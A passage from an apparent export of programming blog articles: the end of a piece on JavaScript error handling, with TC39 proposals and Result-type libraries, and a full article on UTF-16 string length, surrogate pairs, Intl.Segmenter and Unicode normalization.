```

## Section 4: The Future of Ergonomic Error Handling

TC39 proposals in progress could dramatically improve value-based error handling ergonomics. Understanding their current status helps evaluate when (or if) to adopt polyfills.

### 4.1 The Pipeline Operator (|>): Streamlining Composition

**Status**: Stage 2 (as of January 2026)

**Champions**: J. S. Choi, James DiGioia, Ron Buckton, Tab Atkins-Bittner

The [Pipeline Operator proposal](https://github.com/tc39/proposal-pipeline-operator) provides left-to-right function composition. TC39 settled on the **Hack pipe** variant after rejecting F#-style pipes twice.

**Syntax**: The right-hand side contains an expression with a topic reference (currently `%`, but not finalized):

```javascript title="pipeline-operator-example.js" collapse={1-5}
import * as E from 'fp-ts/Either';
// Future syntax: Hack pipe with topic reference %
// The % placeholder represents the value from the previous step

declare function getUser(id: string): E.Either<Error, User>;
declare function validatePermissions(user: User): E.Either<Error, User>;

// Hack pipe variant (Stage 2)
const result = getUser(id)
  |> E.chain(%, user => validatePermissions(user))
  |> E.map(%, user => user.name)
  |> E.match(%,
       e => console.error(`Failure: ${e.message}`),
       name => console.log(`Success: ${name}`)
     );
```

**Why Hack pipes over F# pipes?**: F# pipes (`|> fn`) only work with unary functions. Hack pipes (`|> fn(%, arg)`) work with any expression, supporting multi-argument functions and method calls.

**Current blockers**: The topic token (`%`) is still being bikeshedded. Alternative proposals include `^`, `#`, and `@@`. This syntactic debate has stalled progress.

**Adoption recommendation**: Use Babel's pipeline plugin for experimentation, but don't rely on it for production—syntax may change.

### 4.2 Pattern Matching: The Definitive Result Consumer

**Status**: Stage 1 (since May 2018, limited advancement since April 2021)

The [Pattern Matching proposal](https://github.com/tc39/proposal-pattern-matching) introduces a `match` expression far more powerful than `switch`, with deep destructuring, type guards, and custom matchers.

**Proposed syntax**:

```javascript collapse={1-3}
// Pattern matching would be the ideal Result consumer
// Exhaustive, declarative, and type-safe

declare function processData(): Result<string, Error>;

const result = processData();

// Future syntax (Stage 1 - may change significantly)
const message = match (result) {
  when { ok: true, value: let v }:
    `Success: ${v}`;
  when { ok: false, error: let e }:
    `Error: ${e.message}`;
}
```

**Key features**:

- **Exhaustiveness**: Missing cases trigger TypeErrors (or compile errors with tooling)
- **Binding patterns**: `let v` binds matched values
- **Custom matchers**: `Symbol.customMatcher` enables library integration
- **`is` operator**: Boolean pattern test for conditionals

**Why it matters for error handling**: Pattern matching provides a native way to exhaustively handle discriminated unions—exactly what Result types are.

**Current reality**: Stage 1 with limited recent activity. The proposal has remained at this stage since 2018. Don't hold your breath; use `.match()` methods in libraries instead.

### 4.3 The Safe Assignment Operator (?=): Native Result Types

**Status**: Community proposal (NOT in TC39 stages)

The [Safe Assignment Operator proposal](https://github.com/arthurfiorette/proposal-try-operator) (originally `proposal-safe-assignment-operator`) is a community-driven attempt to bring Go-style error handling to JavaScript. It is **not yet a formal TC39 proposal**—it exists in the TC39 discourse forum but hasn't advanced through official stages.

**Proposed syntax**:

```javascript collapse={1-4}
// Proposed ?= operator catches throws and returns tuple
// Similar to Go's err, val := operation() pattern
// Note: This is NOT in TC39 stages yet

// Instead of try/catch:
const [err, data] ?= JSON.parse(jsonString);
if (err) return null;

// Chains require explicit checks at each step:
async function processUserRequest(requestId) {
  const [err1, request] ?= await fetchRequest(requestId);
  if (err1) return { error: "Failed to fetch request" };

  const [err2, user] ?= parseUser(request.body);
  if (err2) return { error: "Failed to parse user" };

  const [err3, permissions] ?= await fetchPermissions(user.id);
  if (err3) return { error: "Failed to fetch permissions" };

  return { data: permissions };
}
```

**Tuple semantics**:

- Success: `[null, value]`
- Failure: `[error, undefined]`

**Why it's interesting**:

- Works with existing throwing code—no refactoring needed
- Familiar to Go developers
- `Symbol.result` enables library integration (neverthrow, etc.)

**Why it may not succeed**:

1. **Still verbose**: Requires `if (err)` after each operation—same as Go, worse than `.andThen()`
2. **No composition**: Doesn't chain like Result monads
3. **Type system limitations**: `[T | null, E | null]` has the same four-state problem as manual tuples
4. **Community-only**: No TC39 champion has adopted it yet

**Adoption recommendation**: Don't wait for this. Use neverthrow or fp-ts today. If `?=` ever ships, migration from Result types is straightforward.

### 4.4 Supporting Syntax: do and throw Expressions

Two additional TC39 proposals improve error handling ergonomics:

**throw Expressions** — Stage 2 (has TypeScript support)

[Proposal](https://github.com/tc39/proposal-throw-expressions) | Champion: Ron Buckton

Allows `throw` in expression contexts:

```javascript collapse={1-2}
// throw as expression enables inline validation
// TypeScript already supports this syntax

// Default parameters
const greet = (name = throw new Error("Required")) => `Hello, ${name}`

// Arrow functions (single expression)
const fail = () => throw new Error("Not implemented")

// Ternary and logical operators
const value = condition ? result : throw new Error("Failed")
const required = maybeValue || throw new Error("Missing")
```

**Grammar restriction**: Binary operators cannot directly follow `throw` without parentheses—use `(throw expr)` in complex expressions.

**do Expressions** — Stage 1

[Proposal](https://github.com/tc39/proposal-do-expressions)

Allows block statements as expressions:

```javascript
function getUserId(blob) {
  const obj = do {
    try {
      JSON.parse(blob)
    } catch {
      null // Last value is the expression result
    }
  }
  return obj?.userId
}
```

**Note**: `return` inside `do` exits the containing function, not the block. This is intentional but can surprise.

## Section 5: Synthesis and Recommendations

### 5.1 Decision Framework

**When to use try/catch**:

- API boundaries (parsing user input, calling external APIs)
- Top-level application safety nets
- When immediate conversion to Result types isn't practical

**When to use Go-style tuples**:

- Scripts and prototypes where dependencies are undesirable
- Simple, linear operations with 1-2 fallible calls
- When team consensus on Result types hasn't been reached

**When to use Result types (neverthrow, fp-ts)**:

- Business logic with multiple fallible operations
- Data processing pipelines
- Any code path where "forgot to check error" would cause production issues
- When type safety and composability outweigh learning curve

**Library selection**:

| Scenario                 | Recommendation                              |
| ------------------------ | ------------------------------------------- |
| Most TypeScript projects | neverthrow — best ergonomics/safety balance |
| Full FP commitment       | fp-ts or Effect-TS                          |
| Minimal bundle size      | ts-results (~2KB)                           |
| Rust API familiarity     | oxide.ts                                    |

### 5.2 Migration Strategy

Converting an existing codebase to Result types works best incrementally:

1. **Start at boundaries**: Convert functions that call external APIs or parse user input
2. **Install ESLint enforcement**: Prevent unconsumed Results from the start
3. **Expand inward**: Convert business logic functions as you touch them
4. **Keep try/catch at the edge**: Entry points (HTTP handlers, CLI commands) catch unconverted throws

```typescript collapse={1-5}
// Migration pattern: wrap throwing functions at boundaries
// Internal code uses Result, external boundaries convert

import { Result, ok, err, ResultAsync } from "neverthrow"

// Boundary function: converts throws to Result
function parseJson<T>(input: string): Result<T, SyntaxError> {
  try {
    return ok(JSON.parse(input))
  } catch (e) {
    return err(e instanceof SyntaxError ? e : new SyntaxError(String(e)))
  }
}

// Internal function: pure Result-based composition
function processUserInput(input: string): Result<User, ParseError | ValidationError> {
  return parseJson<UserInput>(input)
    .mapErr((e) => new ParseError(e.message))
    .andThen(validateUser)
}
```

### 5.3 Conclusion

The trajectory is clear: JavaScript error handling is moving from implicit exception propagation toward explicit value-based composition. This shift reflects broader industry trends—Rust's `Result`, Go's tuples, and Haskell's `Either` have proven that explicit errors produce more reliable systems.

For new TypeScript projects, **neverthrow with ESLint enforcement** is the pragmatic default. It provides compile-time safety, lint-time consumption enforcement, and an API familiar to JavaScript developers. Reserve exceptions for true boundaries and unexpected failures.

The TC39 proposals (pipeline, pattern matching) may eventually make this pattern feel native, but their uncertain timelines make waiting impractical. The library ecosystem is mature enough today.

The investment in learning Result types pays dividends in reduced production errors, clearer code review conversations ("did you handle the error case?"), and composable business logic that doesn't hide failure modes in invisible control flow.

## Appendix

### Prerequisites

- Familiarity with TypeScript generics and union types
- Understanding of Promise and async/await semantics
- Basic functional programming concepts (map, chain/flatMap)

### Terminology

| Term                             | Definition                                                                                                            |
| -------------------------------- | --------------------------------------------------------------------------------------------------------------------- |
| **Discriminated union**          | A union type where each variant has a literal field (tag) enabling type narrowing                                     |
| **Monad**                        | An abstraction providing `unit` (wrap value) and `bind` (chain operations) satisfying identity and associativity laws |
| **Railway Oriented Programming** | Error handling pattern where success/failure are parallel tracks, with failures bypassing subsequent success handlers |
| **Result/Either**                | Discriminated union with exactly two variants: success (`Ok`/`Right`) and failure (`Err`/`Left`)                      |
| **ThrowCompletion**              | ECMA-262 term for the completion record created when `throw` executes                                                 |
| **Topic reference**              | In Hack pipes, the placeholder (`%`) representing the value from the previous pipeline step                           |

### Summary

- **Exceptions** have invisible exit paths, `unknown`-typed catches, stack unwinding costs (~100x slower than returns), and easy error swallowing
- **Go-style tuples** make errors explicit but lack type exclusivity, compose poorly, and don't force handling
- **Result monads** provide type-safe discriminated unions with composable `.map()`, `.andThen()`, `.match()` APIs
- **neverthrow** (v8.x) is the recommended default—ergonomic API plus ESLint enforcement of Result consumption
- **TC39 proposals** (pipeline Stage 2, pattern matching Stage 1, safe assignment community-only) may improve ergonomics but have uncertain timelines
- **Migration strategy**: Convert at boundaries first, expand inward, keep try/catch at entry points

### References

**Specifications**

- [ECMA-262](https://262.ecma-international.org/) — ECMAScript Language Specification (ES2025/ES16)
- [ECMA-262 §14.15](https://262.ecma-international.org/#sec-try-statement) — The try Statement
- [ECMA-262 §14.14](https://262.ecma-international.org/#sec-throw-statement) — The throw Statement
- [ECMA-262 §20.5](https://262.ecma-international.org/#sec-error-objects) — Error Objects

**TC39 Proposals**

- [Pipeline Operator (Stage 2)](https://github.com/tc39/proposal-pipeline-operator) — Hack-style `|>` operator
- [Pattern Matching (Stage 1)](https://github.com/tc39/proposal-pattern-matching) — `match` expression
- [throw expressions (Stage 2)](https://github.com/tc39/proposal-throw-expressions) — throw in expression contexts
- [do expressions (Stage 1)](https://github.com/tc39/proposal-do-expressions) — Block statements as expressions
- [Safe Assignment Operator](https://github.com/arthurfiorette/proposal-try-operator) — Community proposal for `?=`

**Libraries**

- [neverthrow](https://github.com/supermacro/neverthrow) (v8.2.0) — Type-safe Result types for TypeScript
- [eslint-plugin-neverthrow](https://github.com/mdbetancourt/eslint-plugin-neverthrow) — ESLint rules enforcing Result consumption
- [fp-ts](https://gcanti.github.io/fp-ts/) (v2.16.x) — Typed functional programming library
- [Effect-TS](https://effect.website/) — fp-ts successor with full effect system
- [ts-results](https://github.com/vultix/ts-results) — Minimal Result implementation
- [oxide.ts](https://github.com/traverse1984/oxide.ts) — Rust-like Result API

**Core Maintainer Content**

- [Railway Oriented Programming](https://fsharpforfunandprofit.com/rop/) — Scott Wlaschin's foundational article on error handling patterns
- [Error Handling in Go](https://go.dev/blog/error-handling-and-go) — Go's explicit error handling philosophy
- [Working with Errors in Go 1.13](https://go.dev/blog/go1.13-errors) — Error wrapping and `errors.Is`/`As`

---

## JavaScript String Length: Graphemes, UTF-16, and Unicode

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/programming-patterns/javascript-patterns/javascript-string-length
**Category:** Programming & Patterns / JavaScript Patterns
**Description:** JavaScript’s string.length returns UTF-16 code units—a 1995 design decision that predates Unicode’s expansion beyond 65,536 characters. This causes '👨‍👩‍👧‍👦'.length to return 11 instead of 1, breaking character counting, truncation, and cursor positioning for any text containing emoji, combining marks, or supplementary plane characters. Understanding the three abstraction layers—grapheme clusters, code points, and code units—is essential for correct Unicode handling.

# JavaScript String Length: Graphemes, UTF-16, and Unicode

JavaScript's `string.length` returns UTF-16 code units—a 1995 design decision that predates Unicode's expansion beyond 65,536 characters. This causes `'👨‍👩‍👧‍👦'.length` to return 11 instead of 1, breaking character counting, truncation, and cursor positioning for any text containing emoji, combining marks, or supplementary plane characters. Understanding the three abstraction layers—grapheme clusters, code points, and code units—is essential for correct Unicode handling.

<figure>

![Image with different non-text icons](./cover.jpg)

<figcaption>
Photo by <a href="https://unsplash.com/@rikku72?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash">Maria Cappelli</a> on <a href="https://unsplash.com/photos/assorted-color-and-shape-plastic-toy-fXjG59gqZxo?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash">Unsplash</a>
</figcaption>
</figure>

<figure>

![Text exists at multiple abstraction layers: grapheme clusters (what users see), code points (Unicode characters), and code units (what JavaScript counts)](./text-exists-at-multiple-abstraction-layers-grapheme-clusters-what-users-see-code.svg)

<figcaption>Text exists at multiple abstraction layers: grapheme clusters (what users see), code points (Unicode characters), and code units (what JavaScript counts)</figcaption>
</figure>

## Abstract

Text exists at three abstraction layers, and JavaScript operates at the wrong one for user-facing operations:

| Layer                 | What It Represents          | JavaScript API              | `'👨‍👩‍👧‍👦'` |
| --------------------- | --------------------------- | --------------------------- | ------ |
| **Grapheme clusters** | User-perceived characters   | `Intl.Segmenter`            | 1      |
| **Code points**       | Unicode abstract characters | `[...str]`, `codePointAt()` | 7      |
| **Code units**        | UTF-16 encoding units       | `string.length`, `charAt()` | 11     |

**The design constraint**: JavaScript adopted Java's UCS-2 encoding in 1995 when Unicode fit in 16 bits. When Unicode expanded (UTF-16, 1996), JavaScript preserved backward compatibility by exposing surrogate pairs as separate characters rather than breaking existing code.

**The solution**: Use `Intl.Segmenter` (Baseline April 2024) for grapheme-aware operations. For code point operations, use spread `[...str]` or the `u` regex flag. Reserve `string.length` for byte-level operations only.

**Critical gotchas**:

- `string.slice(0, n)` can corrupt emoji by splitting surrogate pairs
- `split('')` breaks supplementary plane characters into invalid halves
- ES2024 added `isWellFormed()` and `toWellFormed()` to detect and fix lone surrogates

## The Problem: What You See vs. What You Get

Per [ECMA-262 §6.1.4](https://tc39.es/ecma262/#sec-ecmascript-language-types-string-type), a String is "a finite ordered sequence of zero or more 16-bit unsigned integer values." The `length` property returns the number of these 16-bit code units—not characters, not code points, not graphemes.

This design predates Unicode's expansion beyond the Basic Multilingual Plane (BMP). When emoji and supplementary characters were added, they required surrogate pairs (two code units), but JavaScript couldn't change `length` semantics without breaking the web.

```typescript
const logLengths = (...items) => console.log(items.map((item) => `${item}: ${item.length}`))

// BMP characters (U+0000 to U+FFFF): 1 code unit each
logLengths("A", "a", "À", "⇐", "⇟")
// ['A: 1', 'a: 1', 'À: 1', '⇐: 1', '⇟: 1']

// Supplementary plane emoji (U+10000+): 2 code units (surrogate pair)
logLengths("🧘", "🌦", "😂", "😃", "🥖", "🚗")
// ['🧘: 2', '🌦: 2', '😂: 2', '😃: 2', '🥖: 2', '🚗: 2']

// ZWJ sequences: multiple code points joined by U+200D
logLengths("🧘", "🧘🏻‍♂️", "👨‍👩‍👧‍👦")
// ['🧘: 2', '🧘🏻‍♂️: 7', '👨‍👩‍👧‍👦: 11']
```

The family emoji `👨‍👩‍👧‍👦` consists of 7 code points (4 emoji + 3 ZWJ characters), but 11 code units because each base emoji requires a surrogate pair.

## The Solution: Intl.Segmenter

`Intl.Segmenter` implements [Unicode Standard Annex #29](https://unicode.org/reports/tr29/) (UAX #29), which defines grapheme cluster boundaries. It became [Baseline](https://web.dev/blog/intl-segmenter) in April 2024 and is defined in [ECMA-402](https://tc39.es/ecma402/#segmenter-objects) (ECMAScript Internationalization API).

**Why a separate API?** Grapheme cluster rules are complex and locale-sensitive. UAX #29 includes 13+ rules covering Hangul syllables, Indic conjuncts, emoji ZWJ sequences, and regional indicators. This logic doesn't belong in core string methods.

```typescript
function getGraphemeLength(str: string, locale = "en"): number {
  return [...new Intl.Segmenter(locale, { granularity: "grapheme" }).segment(str)].length
}

console.log("👨‍👩‍👧‍👦".length) // 11 (code units)
console.log(getGraphemeLength("👨‍👩‍👧‍👦")) // 1 (grapheme)

// Iterate over grapheme clusters
const segmenter = new Intl.Segmenter("en", { granularity: "grapheme" })
for (const { segment, index } of segmenter.segment("👨‍👩‍👧‍👦🌦️🧘🏻‍♂️")) {
  console.log(`'${segment}' at code unit index ${index}`)
}
// '👨‍👩‍👧‍👦' at code unit index 0
// '🌦️' at code unit index 11
// '🧘🏻‍♂️' at code unit index 14
```

The `granularity` option supports `"grapheme"` (default), `"word"`, and `"sentence"`. Word segmentation is particularly valuable for languages like Thai, Japanese, and Chinese that don't use whitespace between words.

## Why UTF-16? The Historical Constraints

### The UCS-2 Era (1991-1996)

Unicode 1.0 (1991) assumed 65,536 characters would suffice for all human writing systems. UCS-2 (Universal Character Set, 2-byte) encoded each code point directly as a 16-bit integer. Java adopted UCS-2 in 1995, and JavaScript—designed to "look like Java"—followed suit.

**The critical assumption**: 16 bits = all of Unicode. This held for 5 years.

### Unicode Expands (1996)

Unicode 2.0 (1996) introduced supplementary planes to support historic scripts, mathematical symbols, and eventually emoji. The encoding expanded from 65,536 to 1,114,112 possible code points (17 planes × 65,536 each).

UTF-16 extended UCS-2 with surrogate pairs: code points above U+FFFF are encoded as two 16-bit code units. The BMP range D800-DFFF was reserved for surrogates, ensuring backward compatibility—existing UCS-2 text remained valid UTF-16.

### JavaScript's Compatibility Constraint

JavaScript couldn't break existing code by changing `length` semantics. The solution: expose UTF-16 code units directly. Per [Mathias Bynens' analysis](https://mathiasbynens.be/notes/javascript-encoding), JavaScript engines use "UCS-2 with surrogates"—they allow lone surrogates that strict UTF-16 would reject.

```typescript
// Lone surrogate (invalid UTF-16, valid JavaScript string)
const invalid = "\uD800" // High surrogate without low surrogate
invalid.length // 1
invalid.isWellFormed() // false (ES2024)
```

**Design trade-off**: Backward compatibility over correctness. Existing string manipulation code continued to work, but character counting became unreliable for supplementary characters.

## Unicode Architecture: Planes and Surrogate Pairs

### The 17 Unicode Planes

Unicode allocates 1,114,112 code points across 17 planes. Only planes 0-3 and 14-16 are currently assigned:

| Plane | Range            | Name                                   | JavaScript Implications            |
| ----- | ---------------- | -------------------------------------- | ---------------------------------- |
| 0     | U+0000–U+FFFF    | Basic Multilingual Plane (BMP)         | 1 code unit per character          |
| 1     | U+10000–U+1FFFF  | Supplementary Multilingual Plane (SMP) | 2 code units; contains most emoji  |
| 2-3   | U+20000–U+3FFFF  | Ideographic Extension Planes           | 2 code units; rare CJK characters  |
| 14    | U+E0000–U+EFFFF  | Special-purpose Plane                  | Variation selectors, language tags |
| 15-16 | U+F0000–U+10FFFF | Private Use Areas                      | Application-defined; 2 code units  |

### Surrogate Pair Encoding

Supplementary characters (U+10000+) are encoded using a mathematical transformation that maps them to surrogate pairs:

```typescript
// Encoding algorithm for code point → surrogate pair
function toSurrogatePair(codePoint: number): [number, number] {
  const temp = codePoint - 0x10000
  const high = Math.floor(temp / 0x400) + 0xd800 // D800-DBFF
  const low = (temp % 0x400) + 0xdc00 // DC00-DFFF
  return [high, low]
}

// U+1F4A9 (💩) → [0xD83D, 0xDCA9]
toSurrogatePair(0x1f4a9) // [55357, 56489]

// Verification
"💩".charCodeAt(0) // 55357 (0xD83D) - high surrogate
"💩".charCodeAt(1) // 56489 (0xDCA9) - low surrogate
"💩".codePointAt(0) // 128169 (0x1F4A9) - full code point
```

The ranges D800-DBFF (high surrogates) and DC00-DFFF (low surrogates) are permanently reserved in the BMP—they never represent characters directly.

## Unsafe String Operations

JavaScript's pre-ES6 string methods operate on code units, creating several failure modes:

### Corruption via Slicing

```typescript
const text = "Hello 💩 World"

// Dangerous: arbitrary index may split surrogate pair
text.substring(0, 7) // "Hello �" - corrupted high surrogate

// Safe: slice at code point boundaries
const chars = [...text]
chars.slice(0, 7).join("") // "Hello 💩"
```

### Invalid Split Results

```typescript
// Dangerous: splits surrogate pairs into invalid characters
"💩".split("") // ['\uD83D', '\uDCA9'] - two invalid strings

// Safe: spread preserves code points
[..."💩"] // ['💩']
```

### charAt and charCodeAt Limitations

```typescript
const emoji = "💩"

emoji.length      // 2 (code units, not characters)
emoji.charAt(0)   // '\uD83D' (lone high surrogate - invalid)
emoji.charAt(1)   // '\uDCA9' (lone low surrogate - invalid)
emoji.charCodeAt(0) // 55357 (high surrogate value)

// Safe alternatives
emoji.codePointAt(0) // 128169 (full code point)
emoji.at(0)          // '\uD83D' (still code unit based - ES2022)
[...emoji][0]        // '💩' (code point)
```

### ES2024: Well-Formed String Detection

ES2024 added `isWellFormed()` and `toWellFormed()` to detect and fix lone surrogates—a common source of bugs when interfacing with APIs that require valid UTF-16:

```typescript
const wellFormed = "Hello 💩"
const illFormed = "Hello \uD800" // lone high surrogate

wellFormed.isWellFormed() // true
illFormed.isWellFormed() // false

// Fix by replacing lone surrogates with U+FFFD (replacement character)
illFormed.toWellFormed() // "Hello �"

// Use case: encodeURI throws on ill-formed strings
encodeURI(illFormed) // URIError
encodeURI(illFormed.toWellFormed()) // "Hello%20%EF%BF%BD"
```

## Safe Unicode Operations

### Code Point Iteration (ES6+)

The `for...of` loop and spread operator iterate over code points, not code units:

```typescript
const text = "A💩Z"

// Code unit iteration (broken)
for (let i = 0; i < text.length; i++) {
  console.log(text[i]) // 'A', '\uD83D', '\uDCA9', 'Z' - 4 items
}

// Code point iteration (correct for supplementary characters)
for (const char of text) {
  console.log(char) // 'A', '💩', 'Z' - 3 items
}

// Spread also iterates code points
[...text] // ['A', '💩', 'Z']
[...text].length // 3 (code points)
text.length // 4 (code units)
```

**Limitation**: Code point iteration still doesn't handle grapheme clusters. `[..."👨‍👩‍👧‍👦"]` returns 7 elements (4 emoji + 3 ZWJ), not 1.

### Unicode-Aware Regular Expressions

The `u` flag (ES6) enables code point matching and Unicode property escapes:

```typescript
// Without u flag: . matches one code unit
/^.$/.test("💩") // false (💩 is 2 code units)

// With u flag: . matches one code point
/^.$/u.test("💩") // true

// Unicode property escapes (ES2018)
/\p{Emoji}/u.test("💩")           // true
/\p{Script=Latin}/u.test("A")    // true
/\p{Script=Cyrillic}/u.test("а") // true (Cyrillic 'а', not Latin 'a')

// Extended grapheme cluster matching (ES2024 /v flag)
/^\p{RGI_Emoji}$/v.test("👨‍👩‍👧‍👦") // true - matches full ZWJ sequence
```

### String Normalization

Unicode allows multiple representations of the same visual character. Normalize before comparison:

```typescript
const e1 = "é" // U+00E9 (precomposed: single code point)
const e2 = "e\u0301" // U+0065 + U+0301 (decomposed: base + combining acute)

e1 === e2 // false (different code points)
e1.normalize() === e2.normalize() // true (NFC: canonical composition)
e1.length // 1
e2.length // 2

// Normalization forms
"é".normalize("NFC") // Canonical Composition (default)
"é".normalize("NFD") // Canonical Decomposition
"é".normalize("NFKC") // Compatibility Composition
"é".normalize("NFKD") // Compatibility Decomposition
```

**When to normalize**: Always normalize user input before storage or comparison. Use NFC (default) for general text; NFKC for search/matching where compatibility equivalents should match.

## Full-Stack Unicode Considerations

### Database Storage: The MySQL utf8 Trap

MySQL's `utf8` charset is actually `utf8mb3`—a 3-byte encoding that cannot store supplementary plane characters:

```sql
-- Dangerous: silently truncates emoji or throws errors
CREATE TABLE users (name VARCHAR(255) CHARACTER SET utf8);
INSERT INTO users VALUES ('Hello 💩'); -- Error or truncation

-- Safe: full UTF-8 support (4 bytes per character max)
CREATE TABLE users (name VARCHAR(255) CHARACTER SET utf8mb4);
```

As of MySQL 8.0, `utf8` is deprecated and `utf8mb4` is the default. PostgreSQL's `UTF8` encoding has always supported the full Unicode range.

### API Design

```typescript
// Always specify encoding in Content-Type
res.setHeader("Content-Type", "application/json; charset=utf-8")

// Normalize input at system boundary
const sanitized = userInput
  .normalize("NFC") // Canonical composition
  .replace(/\p{C}/gu, "") // Remove control characters

// Validate well-formedness before external APIs
if (!sanitized.isWellFormed()) {
  throw new Error("Invalid Unicode input")
}
```

### Character Limits in APIs

When enforcing length limits, decide which layer you're measuring:

```typescript
const MAX_GRAPHEMES = 280 // Twitter-style limit

function validateLength(text: string): boolean {
  const segmenter = new Intl.Segmenter("en", { granularity: "grapheme" })
  const graphemeCount = [...segmenter.segment(text)].length
  return graphemeCount <= MAX_GRAPHEMES
}

// "👨‍👩‍👧‍👦".repeat(280) passes - 280 graphemes
// But it's 11 * 280 = 3080 code units for storage
```

## Edge Cases and Failure Modes

### Cursor Positioning

Text editors must position cursors between grapheme clusters, not code units or code points:

```typescript
// User sees: "👨‍👩‍👧‍👦" (1 character)
// Code units: 11 positions
// Code points: 7 positions
// Valid cursor positions: 2 (before and after)

function getCursorPositions(text: string): number[] {
  const segmenter = new Intl.Segmenter("en", { granularity: "grapheme" })
  const positions = [0]
  for (const { index, segment } of segmenter.segment(text)) {
    positions.push(index + segment.length)
  }
  return positions
}

getCursorPositions("👨‍👩‍👧‍👦") // [0, 11] - only 2 valid positions
```

### Visual Spoofing (Homograph Attacks)

Different scripts contain visually identical characters:

```typescript
const cyrillicA = "а" // U+0430 (Cyrillic Small Letter A)
const latinA = "a" // U+0061 (Latin Small Letter A)

cyrillicA === latinA // false
cyrillicA.normalize() === latinA.normalize() // false (different scripts)

// Detecting mixed scripts
function detectMixedScripts(text: string): boolean {
  const scripts = new Set<string>()
  for (const char of text) {
    // Check script property (simplified)
    if (/\p{Script=Latin}/u.test(char)) scripts.add("Latin")
    if (/\p{Script=Cyrillic}/u.test(char)) scripts.add("Cyrillic")
    // Add more scripts as needed
  }
  return scripts.size > 1
}

detectMixedScripts("pаypal.com") // true - mixed Latin and Cyrillic
```

### Buffer Size Calculations

UTF-8 byte length differs from code unit count:

```typescript
// Code units vs UTF-8 bytes
const text = "Hello 💩"
text.length // 8 code units
Buffer.byteLength(text, "utf8") // 10 bytes (💩 = 4 bytes in UTF-8)

// Safe buffer allocation
function safeBuffer(text: string): Buffer {
  return Buffer.from(text, "utf8") // Auto-sizes correctly
}

// Dangerous: assumes code units = bytes
const buf = Buffer.alloc(text.length) // Only 8 bytes
buf.write(text) // Truncation risk
```

### Combining Characters and Length

Combining marks attach to preceding base characters:

```typescript
const composed = "é" // U+00E9 (1 code point)
const decomposed = "e\u0301" // U+0065 + U+0301 (2 code points)

composed.length // 1
decomposed.length // 2

// Both render identically, but different lengths
// Always normalize before length checks
```

## Practical Patterns

### Safe String Truncation

```typescript
function truncateGraphemes(text: string, maxGraphemes: number, ellipsis = "…"): string {
  const segmenter = new Intl.Segmenter("en", { granularity: "grapheme" })
  const segments = [...segmenter.segment(text)]

  if (segments.length <= maxGraphemes) return text

  return (
    segments
      .slice(0, maxGraphemes - 1)
      .map((s) => s.segment)
      .join("") + ellipsis
  )
}

truncateGraphemes("Hello 👨‍👩‍👧‍👦 World", 8) // "Hello 👨‍👩‍👧‍👦…"
// Code unit truncation would break: "Hello 👨‍👩‍👧‍👦 World".slice(0, 8) = "Hello �"
```

### Username Validation

```typescript
function validateUsername(username: string): { valid: boolean; error?: string } {
  const normalized = username.normalize("NFC")

  // Check well-formedness
  if (!normalized.isWellFormed()) {
    return { valid: false, error: "Invalid Unicode" }
  }

  // Count graphemes
  const segmenter = new Intl.Segmenter("en", { granularity: "grapheme" })
  const graphemeCount = [...segmenter.segment(normalized)].length

  if (graphemeCount < 3 || graphemeCount > 20) {
    return { valid: false, error: "Username must be 3-20 characters" }
  }

  // Detect mixed scripts (homograph defense)
  const hasLatin = /\p{Script=Latin}/u.test(normalized)
  const hasCyrillic = /\p{Script=Cyrillic}/u.test(normalized)
  if (hasLatin && hasCyrillic) {
    return { valid: false, error: "Mixed scripts not allowed" }
  }

  return { valid: true }
}
```

### Normalize-on-Boundary Pattern

Normalize text at system boundaries (input/output), process internally with consistent encoding:

```typescript
class TextProcessor {
  // Normalize and validate on input
  static ingest(raw: string): string {
    const normalized = raw.normalize("NFC")
    if (!normalized.isWellFormed()) {
      throw new Error("Ill-formed Unicode input")
    }
    return normalized
  }

  // Internal processing on normalized text
  static process(text: string): string {
    // Safe to use code point iteration here
    return [...text].map((c) => c.toUpperCase()).join("")
  }

  // Ensure well-formed output
  static emit(text: string): string {
    return text.toWellFormed() // Replace any lone surrogates
  }
}
```

## Conclusion

JavaScript's `string.length` returning UTF-16 code units is a 1995 design decision that predates Unicode's expansion. The language preserved backward compatibility at the cost of intuitive character counting.

The fix isn't to "repair" `length`—it's to use the right abstraction layer for each task:

- **User-facing operations** (counting, truncation, cursor positioning): `Intl.Segmenter`
- **Protocol/encoding work** (surrogate handling, regex matching): Code point APIs (`[...str]`, `/u` flag)
- **Byte-level operations** (buffer sizing, wire format): Code units (`length`, `charCodeAt`)

ES2024's `isWellFormed()` and `toWellFormed()` close the gap for interoperability with systems that require valid UTF-16. Combined with `Intl.Segmenter`, JavaScript now has a complete Unicode story—you just need to know which tool to reach for.

## Appendix

### Prerequisites

- Basic JavaScript string operations
- Understanding of what Unicode is (character sets vs encodings)

### Terminology

- **BMP (Basic Multilingual Plane)**: Unicode code points U+0000 to U+FFFF; require 1 UTF-16 code unit
- **Code point**: A Unicode character's numerical value (U+0000 to U+10FFFF)
- **Code unit**: A fixed-size encoding unit (16 bits for UTF-16, 8 bits for UTF-8)
- **Grapheme cluster**: A user-perceived character, potentially composed of multiple code points (defined by UAX #29)
- **Surrogate pair**: Two UTF-16 code units encoding a supplementary plane character (U+10000+)
- **ZWJ (Zero-Width Joiner)**: U+200D; combines emoji into sequences like 👨‍👩‍👧‍👦

### Summary

- `string.length` returns UTF-16 code units, not characters or graphemes
- Supplementary characters (emoji, rare CJK) require 2 code units (surrogate pairs)
- ZWJ sequences combine multiple code points into single visual characters
- Use `Intl.Segmenter` for grapheme-aware operations (Baseline April 2024)
- Use `[...str]` or `/u` flag for code point-level operations
- ES2024 added `isWellFormed()` and `toWellFormed()` for surrogate validation
- Always normalize user input with `normalize("NFC")` before storage/comparison

### References

- [ECMA-262 §6.1.4: The String Type](https://tc39.es/ecma262/#sec-ecmascript-language-types-string-type) - Specification defining strings as 16-bit code unit sequences
- [ECMA-402: Intl.Segmenter](https://tc39.es/ecma402/#segmenter-objects) - Internationalization API specification for text segmentation
- [UAX #29: Unicode Text Segmentation](https://unicode.org/reports/tr29/) - Unicode Standard Annex defining grapheme cluster boundaries
- [JavaScript's internal character encoding: UCS-2 or UTF-16? - Mathias Bynens](https://mathiasbynens.be/notes/javascript-encoding) - Historical analysis of JavaScript's encoding choice
- [String.prototype.isWellFormed - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/isWellFormed) - ES2024 well-formed string detection
